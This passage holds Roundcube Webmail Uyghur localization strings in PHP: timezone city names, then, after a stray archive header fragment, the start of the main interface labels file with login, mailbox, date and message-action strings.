$labels['tz:africa:ndjamena'] = 'جامېنا';
$labels['tz:africa:niamey'] = 'نىئامى';
$labels['tz:africa:nouakchott'] = 'نوۋاكشوت';
$labels['tz:africa:ouagadougou'] = 'ئوۋاگادوگو';
$labels['tz:africa:porto-novo'] = 'پورتونوۋو';
$labels['tz:africa:sao_tome'] = 'ساۋتومى';
$labels['tz:africa:tripoli'] = 'ترىپولى';
$labels['tz:africa:tunis'] = 'تۇنىس';
$labels['tz:africa:windhoek'] = 'ۋىندوق';
$labels['tz:america'] = 'ئامىركا';
$labels['tz:america:adak'] = 'ئاداق';
$labels['tz:america:anchorage'] = 'ئانقورىج';
$labels['tz:america:anguilla'] = 'ئانگىللا';
$labels['tz:america:antigua'] = 'ئانتىگىيە';
$labels['tz:america:araguaina'] = 'ئاراگۇاينا';
$labels['tz:america:argentina'] = 'ئارگېنتىنا';
$labels['tz:america:argentina:buenos_aires'] = 'بونىس ئايرىس';
$labels['tz:america:argentina:catamarca'] = 'كاتاماركا';
$labels['tz:america:argentina:cordoba'] = 'كوردوبا';
$labels['tz:america:argentina:jujuy'] = 'جۇجۇي';
$labels['tz:america:argentina:la_rioja'] = 'لارىيوجا';
$labels['tz:america:argentina:mendoza'] = 'مېندوزا';
$labels['tz:america:argentina:rio_gallegos'] = 'رىيو گاللىگوس';
$labels['tz:america:argentina:salta'] = 'سالتا';
$labels['tz:america:argentina:san_juan'] = 'سان جۇۋان';
$labels['tz:america:argentina:san_luis'] = 'سان لۇئىت';
$labels['tz:america:argentina:tucuman'] = 'تۇكۇمان';
$labels['tz:america:argentina:ushuaia'] = 'ئۇشۇۋايە';
$labels['tz:america:aruba'] = 'ئارۇبا';
$labels['tz:america:asuncion'] = 'ئاسۇنسىئون';
$labels['tz:america:atikokan'] = 'ئاتىكوكان';
$labels['tz:america:bahia'] = 'باخىيە';
$labels['tz:america:bahia_banderas'] = 'باخىيە باندېراس';
$labels['tz:america:barbados'] = 'باربادوس';
$labels['tz:america:belem'] = 'بەلەم';
$labels['tz:america:belize'] = 'بەلىزە';
$labels['tz:america:blanc-sablon'] = 'بىلانك-سابلون';
$labels['tz:america:boa_vista'] = 'بوۋا ۋىستا';
$labels['tz:america:bogota'] = 'بوگوتا';
$labels['tz:america:boise'] = 'بوئىزە';
$labels['tz:america:cambridge_bay'] = 'كامبرىج قولتۇقى';
$labels['tz:america:campo_grande'] = 'كامپو گراندى';
$labels['tz:america:cancun'] = 'قانقۇن';
$labels['tz:america:caracas'] = 'قاراقاس';
$labels['tz:america:cayenne'] = 'قايەننە';
$labels['tz:america:cayman'] = 'قايمان';
$labels['tz:america:chicago'] = 'چىكاگو';
$labels['tz:america:chihuahua'] = 'چىخاخا';
$labels['tz:america:costa_rica'] = 'كوستارىكا';
$labels['tz:america:creston'] = 'كرىستون';
$labels['tz:america:cuiaba'] = 'كۇيابا';
$labels['tz:america:curacao'] = 'كۇراساۋ';
$labels['tz:america:danmarkshavn'] = 'دانمارقشاۋىن';
$labels['tz:america:dawson'] = 'داۋسون';
$labels['tz:america:dawson_creek'] = 'داۋسون كىرىك';
$labels['tz:america:denver'] = 'دەنۋە';
$labels['tz:america:detroit'] = 'دىتروئىت';
$labels['tz:america:dominica'] = 'دومىنىك';
$labels['tz:america:edmonton'] = 'ئەدمونتون';
$labels['tz:america:eirunepe'] = 'ئەيرۇنەپە';
$labels['tz:america:el_salvador'] = 'ئەل سالۋادور';
$labels['tz:america:fort_nelson'] = 'فورت نېلسۇن';
$labels['tz:america:fortaleza'] = 'فورتالىزا';
$labels['tz:america:glace_bay'] = 'گلائىس قولتۇقى';
$labels['tz:america:godthab'] = 'كاتخوپ';
$labels['tz:america:goose_bay'] = 'گوئۇس قولتۇقى';
$labels['tz:america:grand_turk'] = 'گرانىت تۈرك';
$labels['tz:america:grenada'] = 'گرېنادا';
$labels['tz:america:guadeloupe'] = 'گۇۋادەلۇپى';
$labels['tz:america:guatemala'] = 'گۋاتېمالا';
$labels['tz:america:guayaquil'] = 'گۋاياكىل';
$labels['tz:america:guyana'] = 'گۇيانا';
$labels['tz:america:halifax'] = 'خالىفاكىس';
$labels['tz:america:havana'] = 'ھاۋانا';
$labels['tz:america:hermosillo'] = 'ھېرموسىللو';
$labels['tz:america:indiana'] = 'ئىندىئانا';
$labels['tz:america:indiana:indianapolis'] = 'ئىندىئاناپولىس';
$labels['tz:america:indiana:knox'] = 'كىنوكىس';
$labels['tz:america:indiana:marengo'] = 'مارېنگو';
$labels['tz:america:indiana:petersburg'] = 'پىتسىبورگ';
$labels['tz:america:indiana:tell_city'] = 'تېل شەھىرى';
$labels['tz:america:indiana:vevay'] = 'ۋەۋەي';
$labels['tz:america:indiana:vincennes'] = 'ۋىنچېنىس';
$labels['tz:america:indiana:winamac'] = 'ۋىناماق';
$labels['tz:america:inuvik'] = 'ئىنۇۋىك';
$labels['tz:america:iqaluit'] = 'ئىقالۇئىت';
$labels['tz:america:jamaica'] = 'يامايكا';
$labels['tz:america:juneau'] = 'جۇنىئو';
$labels['tz:america:kentucky'] = 'كېنتاكى';
$labels['tz:america:kentucky:louisville'] = 'لۇئىسۋىل';
$labels['tz:america:kentucky:monticello'] = 'مونتىچېلو';
$labels['tz:america:kralendijk'] = 'كرالېندىجىك';
$labels['tz:america:la_paz'] = 'لاپاز';
$labels['tz:america:lima'] = 'لىما';
$labels['tz:america:los_angeles'] = 'لوس ئانجىلىس';
$labels['tz:america:lower_princes'] = 'لوۋىر پرىنسەس';
$labels['tz:america:maceio'] = 'ماچېئو';
$labels['tz:america:managua'] = 'ماناگۇۋا';
$labels['tz:america:manaus'] = 'مانائۇس';
$labels['tz:america:marigot'] = 'مارىگوت';
$labels['tz:america:martinique'] = 'مارتىنىقۇ';
$labels['tz:america:matamoros'] = 'ماتامورۇس';
$labels['tz:america:mazatlan'] = 'مازاتلان';
$labels['tz:america:menominee'] = 'مېنومىنىي';
$labels['tz:america:merida'] = 'مېرىدا';
$labels['tz:america:metlakatla'] = 'مەتلاقاتلا';
$labels['tz:america:mexico_city'] = 'مېكسىكا شەھىرى';
$labels['tz:america:miquelon'] = 'مىقۇئىلون';
$labels['tz:america:moncton'] = 'مونتون';
$labels['tz:america:monterrey'] = 'مونتېررى';
$labels['tz:america:montevideo'] = 'مونتېۋىدىئو';
$labels['tz:america:montserrat'] = 'مونسەررات';
$labels['tz:america:nassau'] = 'ناساۋ';
$labels['tz:america:new_york'] = 'نىيو-يورۇك';
$labels['tz:america:nipigon'] = 'نىپىگون';
$labels['tz:america:nome'] = 'نومى';
$labels['tz:america:noronha'] = 'نورونا';
$labels['tz:america:north_dakota'] = 'شىمالىي داكوتا';
$labels['tz:america:north_dakota:beulah'] = 'بىئۇلاخ';
$labels['tz:america:north_dakota:center'] = 'مەركەز';
$labels['tz:america:north_dakota:new_salem'] = 'يېڭى سەلىم';
$labels['tz:america:ojinaga'] = 'ئوجىناگا';
$labels['tz:america:panama'] = 'پاناما';
$labels['tz:america:pangnirtung'] = 'پاڭنىرتۇڭ';
$labels['tz:america:paramaribo'] = 'پارامارىبو';
$labels['tz:america:phoenix'] = 'فىنىكىس';
$labels['tz:america:port-au-prince'] = 'پورت-ئو-پرىنس';
$labels['tz:america:port_of_spain'] = 'ئىسپانىيە پورتى';
$labels['tz:america:porto_velho'] = 'پورتو ۋېلو';
$labels['tz:america:puerto_rico'] = 'پۇئېرتورىكو';
$labels['tz:america:rainy_river'] = 'رېينى دەرياسى';
$labels['tz:america:rankin_inlet'] = 'رەنكىن ئىنلەت';
$labels['tz:america:recife'] = 'رەچىفە';
$labels['tz:america:regina'] = 'رېجىنا';
$labels['tz:america:resolute'] = 'رېسولۇتى';
$labels['tz:america:rio_branco'] = 'رىئو برانكو';
$labels['tz:america:santarem'] = 'سانتارەم';
$labels['tz:america:santiago'] = 'سانتىياگو';
$labels['tz:america:santo_domingo'] = 'سانتا دومىنگو';
$labels['tz:america:sao_paulo'] = 'ساۋ پاۋلو';
$labels['tz:america:scoresbysund'] = 'سكورىسبىسۇند';
$labels['tz:america:sitka'] = 'سىتكا';
$labels['tz:america:st_barthelemy'] = 'سانت بارتېلىمى';
$labels['tz:america:st_johns'] = "سانت جونىس";
$labels['tz:america:st_kitts'] = 'سانت كىتىس';
$labels['tz:america:st_lucia'] = 'سانتا لۇچىيا';
$labels['tz:america:st_thomas'] = 'سانت توماس';
$labels['tz:america:st_vincent'] = 'سانت ۋىنچېنت';
$labels['tz:america:swift_current'] = 'سىۋىفت كارىنت';
$labels['tz:america:tegucigalpa'] = 'تېگۇچىگالفا';
$labels['tz:america:thule'] = 'تۇلى';
$labels['tz:america:thunder_bay'] = 'ساندىر قولتۇقى';
$labels['tz:america:tijuana'] = 'تىجۇۋانا';
$labels['tz:america:toronto'] = 'تورونتو';
$labels['tz:america:tortola'] = 'تورتولا';
$labels['tz:america:vancouver'] = 'ۋانكۇۋېر';
$labels['tz:america:whitehorse'] = 'ۋايىتخورس';
$labels['tz:america:winnipeg'] = 'ۋىننىپەگ';
$labels['tz:america:yakutat'] = 'ياقۇتات';
$labels['tz:america:yellowknife'] = 'يەلونايىف';
$labels['tz:antarctica'] = 'ئانتىراكتىكا';
$labels['tz:antarctica:casey'] = 'كاسىي';
$labels['tz:antarctica:davis'] = 'دەۋىس';
$labels['tz:antarctica:dumontdurville'] = "دۇمونت دۇرۋىل";
$labels['tz:antarctica:macquarie'] = 'ماقىۋارى';
$labels['tz:antarctica:mawson'] = 'ماۋسون';
$labels['tz:antarctica:mcmurdo'] = 'مىكمۇردو';
$labels['tz:antarctica:palmer'] = 'پالمىر';
$labels['tz:antarctica:rothera'] = 'روتېرا';
$labels['tz:antarctica:syowa'] = 'سىيوۋا';
$labels['tz:antarctica:troll'] = 'تىرول';
$labels['tz:antarctica:vostok'] = 'ۋوستوق';
$labels['tz:arctic'] = 'قۇتۇپ';
$labels['tz:arctic:longyearbyen'] = 'لوڭيىربىيەن';
$labels['tz:asia'] = 'ئاسىيا';
$labels['tz:asia:aden'] = 'ئادەن';
$labels['tz:asia:almaty'] = 'ئالمۇتا';
$labels['tz:asia:amman'] = 'ئاممان';
$labels['tz:asia:anadyr'] = 'ئانادىر';
$labels['tz:asia:aqtau'] = 'ئاقتاۋ';
$labels['tz:asia:aqtobe'] = 'ئاقتۆپە';
$labels['tz:asia:ashgabat'] = 'ئاشىغئابات';
$labels['tz:asia:atyrau'] = 'ئاتىراۋ';
$labels['tz:asia:baghdad'] = 'باغداد';
$labels['tz:asia:bahrain'] = 'باخرائىن';
$labels['tz:asia:baku'] = 'باقۇ';
$labels['tz:asia:bangkok'] = 'بانكوك';
$labels['tz:asia:barnaul'] = 'بارنائۇل';
$labels['tz:asia:beirut'] = 'بەيرۇت';
$labels['tz:asia:bishkek'] = 'بىشكەك';
$labels['tz:asia:brunei'] = 'بىرۇنىي';
$labels['tz:asia:chita'] = 'كىتا';
$labels['tz:asia:choibalsan'] = 'قويبالسان';
$labels['tz:asia:colombo'] = 'كولومبو';
$labels['tz:asia:damascus'] = 'دەمەشق';
$labels['tz:asia:dhaka'] = 'داخا';
$labels['tz:asia:dili'] = 'دىلى';
$labels['tz:asia:dubai'] = 'دۇبەي';
$labels['tz:asia:dushanbe'] = 'دۈشەنبە';
$labels['tz:asia:famagusta'] = 'فاماگۇستا';
$labels['tz:asia:gaza'] = 'غەززە';
$labels['tz:asia:hebron'] = 'خېبىروئىن';
$labels['tz:asia:ho_chi_minh'] = 'خوكىمىن';
$labels['tz:asia:hong_kong'] = 'شاڭگاڭ';
$labels['tz:asia:hovd'] = 'خوۋىد';
$labels['tz:asia:irkutsk'] = 'ئىركۇتسىك';
$labels['tz:asia:jakarta'] = 'جاكارتا';
$labels['tz:asia:jayapura'] = 'جاياپۇرا';
$labels['tz:asia:jerusalem'] = 'ئېرۇسالىم';
$labels['tz:asia:kabul'] = 'كابۇل';
$labels['tz:asia:kamchatka'] = 'كامچاتكا';
$labels['tz:asia:karachi'] = 'كاراچى';
$labels['tz:asia:kathmandu'] = 'كاتماندۇ';
$labels['tz:asia:khandyga'] = 'كاندىگا';
$labels['tz:asia:kolkata'] = 'كولكاتا';
$labels['tz:asia:krasnoyarsk'] = 'كراسنويارسىك';
$labels['tz:asia:kuala_lumpur'] = 'كۇلا-لامپۇر';
$labels['tz:asia:kuching'] = 'كۇچىڭ';
$labels['tz:asia:kuwait'] = 'كۇۋەيت';
$labels['tz:asia:macau'] = 'ئاۋمىن';
$labels['tz:asia:magadan'] = 'ماغادان';
$labels['tz:asia:makassar'] = 'ماكاسسار';
$labels['tz:asia:manila'] = 'مانىلا';
$labels['tz:asia:muscat'] = 'مۇسقات';
$labels['tz:asia:nicosia'] = 'نىكوسىيە';
$labels['tz:asia:novokuznetsk'] = 'نوۋوكۇزنەتسىك';
$labels['tz:asia:novosibirsk'] = 'نوۋوسىبىرسىك';
$labels['tz:asia:omsk'] = 'ئومسىق';
$labels['tz:asia:oral'] = 'ئورال';
$labels['tz:asia:phnom_penh'] = 'پىنوم پىن';
$labels['tz:asia:pontianak'] = 'پونتىياناق';
$labels['tz:asia:pyongyang'] = 'پيوڭياڭ';
$labels['tz:asia:qatar'] = 'قاتار';
$labels['tz:asia:qyzylorda'] = 'قىزىلئوردا';
$labels['tz:asia:riyadh'] = 'رىياد';
$labels['tz:asia:sakhalin'] = 'ساخالىن';
$labels['tz:asia:samarkand'] = 'سەمەرقەنت';
$labels['tz:asia:seoul'] = 'سىئول';
$labels['tz:asia:shanghai'] = 'شاڭخەي';
$labels['tz:asia:singapore'] = 'سىنگاپور';
$labels['tz:asia:srednekolymsk'] = 'سىرەدنەكولىسىك';
$labels['tz:asia:taipei'] = 'تەيبېي';
$labels['tz:asia:tashkent'] = 'تاشكەنت';
$labels['tz:asia:tbilisi'] = 'تىبىلىسى';
$labels['tz:asia:tehran'] = 'تېھران';
$labels['tz:asia:thimphu'] = 'تىمپۇ';
$labels['tz:asia:tokyo'] = 'توكيو';
$labels['tz:asia:tomsk'] = 'تومسىق';
$labels['tz:asia:ulaanbaatar'] = 'ئۇلانباتۇر';
$labels['tz:asia:urumqi'] = 'ئۈرۈمچى';
$labels['tz:asia:ust-nera'] = 'ئۇست-نېرا';
$labels['tz:asia:vientiane'] = 'ۋىئېنتىئانە';
$labels['tz:asia:vladivostok'] = 'ۋىلادىۋوستوق';
$labels['tz:asia:yakutsk'] = 'ياكۇتىسك';
$labels['tz:asia:yangon'] = 'يانگون';
$labels['tz:asia:yekaterinburg'] = 'ياكاتېرىنبۇرگ';
$labels['tz:asia:yerevan'] = 'يەرەۋان';
$labels['tz:atlantic'] = 'ئاتلانتىك';
$labels['tz:atlantic:azores'] = 'ئازورىس';
$labels['tz:atlantic:bermuda'] = 'بېرمۇدا';
$labels['tz:atlantic:canary'] = 'كانارىي';
$labels['tz:atlantic:cape_verde'] = 'كاپى ۋېردى';
$labels['tz:atlantic:faroe'] = 'فاروئە';
$labels['tz:atlantic:madeira'] = 'مادېيرا';
$labels['tz:atlantic:reykjavik'] = 'رەيجاۋىك';
$labels['tz:atlantic:south_georgia'] = 'جەنۇبىي گرۇزىيە';
$labels['tz:atlantic:st_helena'] = 'سانت ھەلەنا';
$labels['tz:atlantic:stanley'] = 'ستېيىنلى';
$labels['tz:australia'] = 'ئاۋىسترالىيە';
$labels['tz:australia:adelaide'] = 'ئادېلايدې';
$labels['tz:australia:brisbane'] = 'برىسبانە';
$labels['tz:australia:broken_hill'] = 'بىروۋكىن خىل';
$labels['tz:australia:currie'] = 'كۇررىي';
$labels['tz:australia:darwin'] = 'دارۋىن';
$labels['tz:australia:eucla'] = 'يۇكىلا';
$labels['tz:australia:hobart'] = 'خوبارت';
$labels['tz:australia:lindeman'] = 'لىندېمان';
$labels['tz:australia:lord_howe'] = 'لورد خوۋىي';
$labels['tz:australia:melbourne'] = 'مېلبورن';
$labels['tz:australia:perth'] = 'پېرىس';
$labels['tz:australia:sydney'] = 'سىدنى';
$labels['tz:europe'] = 'ياۋروپا';
$labels['tz:europe:amsterdam'] = 'ئامىستىردام';
$labels['tz:europe:andorra'] = 'ئاندوررا';
$labels['tz:europe:astrakhan'] = 'ئاستراخان';
$labels['tz:europe:athens'] = 'ئافىنا';
$labels['tz:europe:belgrade'] = 'بېلگرادى';
$labels['tz:europe:berlin'] = 'بېرلىن';
$labels['tz:europe:bratislava'] = 'براتىسلاۋىيە';
$labels['tz:europe:brussels'] = 'بىريۇكسىل';
$labels['tz:europe:bucharest'] = 'بۇچارىست';
$labels['tz:europe:budapest'] = 'بۇداپىشت';
$labels['tz:europe:busingen'] = 'بۇسىنجىن';
$labels['tz:europe:chisinau'] = 'كىسىناۋ';
$labels['tz:europe:copenhagen'] = 'كوپىنھاگىن';
$labels['tz:europe:dublin'] = 'دۇبلىن';
$labels['tz:europe:gibraltar'] = 'جىبرالتار';
$labels['tz:europe:guernsey'] = 'گېرنىزى';
$labels['tz:europe:helsinki'] = 'خېلسىنكى';
$labels['tz:europe:isle_of_man'] = 'مان ئارىلى';
$labels['tz:europe:istanbul'] = 'ئىستانبۇل';
$labels['tz:europe:jersey'] = 'جېرسى';
$labels['tz:europe:kaliningrad'] = 'كالىنىنگرات';
$labels['tz:europe:kiev'] = 'كىيىۋ';
$labels['tz:europe:kirov'] = 'كىروۋ';
$labels['tz:europe:lisbon'] = 'لىزبۇن';
$labels['tz:europe:ljubljana'] = 'لۇبىلىئانا';
$labels['tz:europe:london'] = 'لوندون';
$labels['tz:europe:luxembourg'] = 'لىيۇكسىنبۇرگ';
$labels['tz:europe:madrid'] = 'مادىرىد';
$labels['tz:europe:malta'] = 'مالتا';
$labels['tz:europe:mariehamn'] = 'مارىھامىن';
$labels['tz:europe:minsk'] = 'مىنسىق';
$labels['tz:europe:monaco'] = 'موناكو';
$labels['tz:europe:moscow'] = 'موسكىۋا';
$labels['tz:europe:oslo'] = 'ئوسلو';
$labels['tz:europe:paris'] = 'پارىژ';
$labels['tz:europe:podgorica'] = 'پودگورىكا';
$labels['tz:europe:prague'] = 'پىراگ';
$labels['tz:europe:riga'] = 'رىگا';
$labels['tz:europe:rome'] = 'رىم';
$labels['tz:europe:samara'] = 'سامارە';
$labels['tz:europe:san_marino'] = 'سان مارىنو';
$labels['tz:europe:sarajevo'] = 'ساراجېۋو';
$labels['tz:europe:saratov'] = 'ساراتوۋ';
$labels['tz:europe:simferopol'] = 'سىمفېروپول';
$labels['tz:europe:skopje'] = 'سىكوپىيە';
$labels['tz:europe:sofia'] = 'سوفىيە';
$labels['tz:europe:stockholm'] = 'ستوكخولىم';
$labels['tz:europe:tallinn'] = 'تاللىن';
$labels['tz:europe:tirane'] = 'تىرانە';
$labels['tz:europe:ulyanovsk'] = 'ئۇلىئانوۋىسك';
$labels['tz:europe:uzhgorod'] = 'ئۇزغوروت';
$labels['tz:europe:vaduz'] = 'ۋادۇز';
$labels['tz:europe:vatican'] = 'ۋاتىكان';
$labels['tz:europe:vienna'] = 'ۋىيېنا';
$labels['tz:europe:vilnius'] = 'ۋىلنىئۇس';
$labels['tz:europe:volgograd'] = 'ۋولگوگرات';
$labels['tz:europe:warsaw'] = 'ۋارشاۋا';
$labels['tz:europe:zagreb'] = 'زاگرىپ';
$labels['tz:europe:zaporozhye'] = 'زاپوروژى';
$labels['tz:europe:zurich'] = 'سيۇرىخ';
$labels['tz:indian'] = 'ھىندى';
$labels['tz:indian:antananarivo'] = 'ئانتانانارىۋو';
$labels['tz:indian:chagos'] = 'چاگوس';
$labels['tz:indian:christmas'] = 'روجىستىۋا';
$labels['tz:indian:cocos'] = 'كوكوس';
$labels['tz:indian:comoro'] = 'كومورو';
$labels['tz:indian:kerguelen'] = 'كېرگېلەن';
$labels['tz:indian:mahe'] = 'ماخې';
$labels['tz:indian:maldives'] = 'مولداۋا';
$labels['tz:indian:mauritius'] = 'ماۋرىتۇس';
$labels['tz:indian:mayotte'] = 'مايوتتى';
$labels['tz:indian:reunion'] = 'رىئۇنىئون';
$labels['tz:pacific'] = 'تىنچ ئوكيان';
$labels['tz:pacific:apia'] = 'ئاپىيا';
$labels['tz:pacific:auckland'] = 'ئاقلەندىيە';
$labels['tz:pacific:bougainville'] = 'بۇگانىۋىل';
$labels['tz:pacific:chatham'] = 'چاتام';
$labels['tz:pacific:chuuk'] = 'چۇك';
$labels['tz:pacific:easter'] = 'ئىستىر';
$labels['tz:pacific:efate'] = 'ئېفاتې';
$labels['tz:pacific:enderbury'] = 'ئەندەربۇرى';
$labels['tz:pacific:fakaofo'] = 'فاكاۋفو';
$labels['tz:pacific:fiji'] = 'فىجى';
$labels['tz:pacific:funafuti'] = 'فۇنافۇتى';
$labels['tz:pacific:galapagos'] = 'گالاپاگوس';
$labels['tz:pacific:gambier'] = 'گامبىيىر';
$labels['tz:pacific:guadalcanal'] = 'گۋادالقانال';
$labels['tz:pacific:guam'] = 'گۇئام';
$labels['tz:pacific:honolulu'] = 'ھونولو';
$labels['tz:pacific:johnston'] = 'جونسىتون';
$labels['tz:pacific:kiritimati'] = 'كىرىتىماتى';
$labels['tz:pacific:kosrae'] = 'كوسرائە';
$labels['tz:pacific:kwajalein'] = 'كۋاجالىن';
$labels['tz:pacific:majuro'] = 'ماجۇرو';
$labels['tz:pacific:marquesas'] = 'ماركىساس';
$labels['tz:pacific:midway'] = 'مىدۋاي';
$labels['tz:pacific:nauru'] = 'ناۋرۇ';
$labels['tz:pacific:niue'] = 'نىيۇئېي';
$labels['tz:pacific:norfolk'] = 'نورفولك';
$labels['tz:pacific:noumea'] = 'نۇمىئا';
$labels['tz:pacific:pago_pago'] = 'پاگو پاگو';
$labels['tz:pacific:palau'] = 'پالاۋ';
$labels['tz:pacific:pitcairn'] = 'پىتكارىن';
$labels['tz:pacific:pohnpei'] = 'پونپىي';
$labels['tz:pacific:port_moresby'] = 'مورېسبىي پورتى';
$labels['tz:pacific:rarotonga'] = 'راروتونگا';
$labels['tz:pacific:saipan'] = 'سايپەن';
$labels['tz:pacific:tahiti'] = 'تاخىتى';
$labels['tz:pacific:tarawa'] = 'تاراۋا';
$labels['tz:pacific:tongatapu'] = 'تونگاتاپۇ';
$labels['tz:pacific:wake'] = 'ۋېيك';
$labels['tz:pacific:wallis'] = 'ۋاللىس';
PK
h�\,������"program/localization/ug/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '$product غا خۇش كەلدىڭىز';
$labels['username'] = 'ئىشلەتكۈچى نامى';
$labels['password'] = 'مەخپىي نۇمۇر';
$labels['server'] = 'مۇلازىمېتىر';
$labels['login'] = 'كىرىش';
$labels['oauthlogin'] = '$تەمىنلىگۈچى بىلەن كىرىش';
$labels['menu'] = 'تىزىملىك';
$labels['logout'] = 'چىكىنىش';
$labels['mail'] = 'خەت';
$labels['settings'] = 'تەڭشەك';
$labels['addressbook'] = 'ئادىرىس دەپتىرى';
$labels['darkmode'] = 'قاراڭغۇ ھالەت';
$labels['lightmode'] = 'يۇرۇق ھالەت';
$labels['inbox'] = 'كىلىش ساندۇقى';
$labels['drafts'] = 'قوليازمىلار';
$labels['sent'] = 'ئەۋەتىلگەن';
$labels['trash'] = 'ئەخلەت';
$labels['junk'] = 'ئەخلەت';
$labels['show_real_foldernames'] = 'ئالاھىدە قىسقۇچلارنىڭ ھەقىقىي ئىسمىنى كۆرسىتىڭ';
$labels['subject'] = 'تىما';
$labels['from'] = 'دىن';
$labels['sender'] = 'ئەۋەتكۈچى';
$labels['to'] = 'غا';
$labels['cc'] = 'قۇشۇمچە';
$labels['bcc'] = 'ب چ چ';
$labels['replyto'] = 'غا جاۋاپ قايتۇرۇش';
$labels['followupto'] = 'غا ئەگىشىش';
$labels['date'] = 'چېسلا';
$labels['size'] = 'چوڭلۇق';
$labels['priority'] = 'مۇھىملىق دەرىجىسى';
$labels['organization'] = 'ئورگان';
$labels['readstatus'] = 'ئۇقۇش ھالىتى';
$labels['listoptions'] = 'تاللانمىلارنى تىزىش...';
$labels['listoptionstitle'] = 'تاللانمىلارنى تىزىش';
$labels['mailboxlist'] = 'قىسقۇچلار';
$labels['messagesfromto'] = 'from$نىڭ to$گە ئەۋەتكەن count$-ئۇچۇرى';
$labels['threadsfromto'] = 'from$نىڭ to$گە ئەۋەتكەن count$-يىپى';
$labels['messagenrof'] = 'nr/$count$ خەت';
$labels['fromtoshort'] = 'to  - $from$ جەمئىي count$';
$labels['copy'] = 'كۆچۈرۈش';
$labels['move'] = 'يۆتكەش';
$labels['moveto'] = '...غا يۆتكەش';
$labels['copyto'] = '...غا كۆچۈرۈش';
$labels['download'] = 'چۈشۈرۈش';
$labels['open'] = 'ئېچىش';
$labels['showattachment'] = 'كۆرسىتىش';
$labels['showanyway'] = 'بەرىبىر ئۇنى كۆرسىتىڭ';
$labels['filename'] = 'ھۆججەت ئىسمى';
$labels['filesize'] = 'ھۆججەت چوڭلۇقى';
$labels['addtoaddressbook'] = 'ئادىرىس دەپتىرىگە قېتىش';
$labels['sun'] = 'يەكشەنبە';
$labels['mon'] = 'دۈشەنبە';
$labels['tue'] = 'سەيشەنبە';
$labels['wed'] = 'چارشەنبە';
$labels['thu'] = 'پەيشەنبە';
$labels['fri'] = 'جۈمە';
$labels['sat'] = 'شەنبە';
$labels['sunday'] = 'يەكشەنبە';
$labels['monday'] = 'دۈشەنبە';
$labels['tuesday'] = 'سەيشەنبە';
$labels['wednesday'] = 'چارشەنبە';
$labels['thursday'] = 'پەيشەنبە';
$labels['friday'] = 'جۈمە';
$labels['saturday'] = 'شەنبە';
$labels['jan'] = 'يانۋار';
$labels['feb'] = 'فېۋرال';
$labels['mar'] = 'مارت';
$labels['apr'] = 'ئاپرىل';
$labels['may'] = 'ماي';
$labels['jun'] = 'ئىيۇن';
$labels['jul'] = 'ئىيۇل';
$labels['aug'] = 'ئاۋغۇست';
$labels['sep'] = 'سىنتەبىر';
$labels['oct'] = 'ئۆكتەبىر';
$labels['nov'] = 'نويابىر';
$labels['dec'] = 'دېكابىر';
$labels['longjan'] = 'يانۋار';
$labels['longfeb'] = 'فېۋرال';
$labels['longmar'] = 'مارت';
$labels['longapr'] = 'ئاپرىل';
$labels['longmay'] = 'ماي';
$labels['longjun'] = 'ئىيۇن';
$labels['longjul'] = 'ئىيۇل';
$labels['longaug'] = 'ئاۋغۇست';
$labels['longsep'] = 'سىنتەبىر';
$labels['longoct'] = 'ئۆكتەبىر';
$labels['longnov'] = 'نويابىر';
$labels['longdec'] = 'دېكابىر';
$labels['today'] = 'بۈگۈن';
$labels['refresh'] = 'يېڭىلاش';
$labels['checkmail'] = 'يېڭى خەتلەرنى تەكشۈرۈش';
$labels['compose'] = 'يېزىش';
$labels['writenewmessage'] = 'يېڭى خەت يېزىش';
$labels['reply'] = 'جاۋاپ قايتۇرۇش';
$labels['replytomessage'] = 'ئەۋەتكۈچىگە جاۋاپ بېزىش';
$labels['replytoallmessage'] = 'تىزىملىككە ياكى ئەۋەتكۈچى بىلەن بارلىق تاپشۇرۋالغۇچىلارغا جاۋاپ قايتۇرۇش';
$labels['replyall'] = 'ھەممىسىگە جاۋاپ قايتۇرۇش';
$labels['replylist'] = 'تىزىملىككە جاۋاپ قايتۇرۇش';
$labels['forward'] = 'يوللاش';
$labels['forwardinline'] = 'يېڭى ھالەتتە يوللاش';
$labels['forwardattachment'] = 'قىستۇرما ھالەتتە يوللاش';
$labels['forwardmessage'] = 'بۇ خەتنى يوللاش';
$labels['bouncemsg'] = 'قايتا ئەۋەتىش(قاڭقىتىش)';
$labels['bounce'] = 'قايتا ئەۋەتىش';
$labels['deletemessage'] = 'خەتنى ئۆچۈرۈش';
$labels['movemessagetotrash'] = 'خەتنى ئەخلەت چېلىكىگە سېلىش';
$labels['printmessage'] = 'بۇ خەتنى بېسىپ چىقىرىش';
$labels['previousmessage'] = 'ئالدىنقى خەتنى كۆرسىتىش';
$labels['firstmessage'] = 'بىرىنچى خەتنى كۆرسىتىش';
$labels['nextmessage'] = 'كىيىنكى خەتنى كۆرسىتىش';
$labels['lastmessage'] = 'ئاخىرقى خەتنى كۆرسىتىش';
$labels['backtolist'] = 'خەت تىزىملىكىگە قايتىش';
$labels['viewsource'] = 'مەنبەسىنى كۆرسىتىش';
$labels['mark'] = 'بەلگە قۇيۇش';
$labels['markmessages'] = 'خەتكە بەلگە قۇيۇش';
$labels['markread'] = 'ئۇقۇغان';
$labels['markunread'] = 'ئۇقۇمىغان';
$labels['markflagged'] = 'بايراقلانغان';
$labels['markunflagged'] = 'بايراقسىزلانغان';
$labels['markundeleted'] = 'ئۆچۈرۈلمىگەن';
$labels['moreactions'] = 'تېخىمۇ كۆپ ھەركەت';
$labels['markallread'] = 'ھەممىگە ئوقۇغان بەلگىسىنى قۇيۇش';
$labels['folders-cur'] = 'پەقەتلا تاللانغان قىسقۇچ';
$labels['folders-sub'] = 'تاللانغان قىسقۇچ ھەمدە ئۇنىڭ بالا-قىسقۇچلىرى';
$labels['folders-all'] = 'ھەممە قىسقۇچلار';
$labels['more'] = 'تېخىمۇ كۆپ';
$labels['back'] = 'قايتىش';
$labels['options'] = 'تاللانمىلار';
$labels['composeoptions'] = 'تاللانما قۇرۇش';
$labels['optionsandattachments'] = 'تاللانمىلار ھەمدە قىستۇرمىلار';
$labels['actions'] = 'ھەركەتلەر';
$labels['first'] = 'تۇنجى';
$labels['last'] = 'ئاخىرقى';
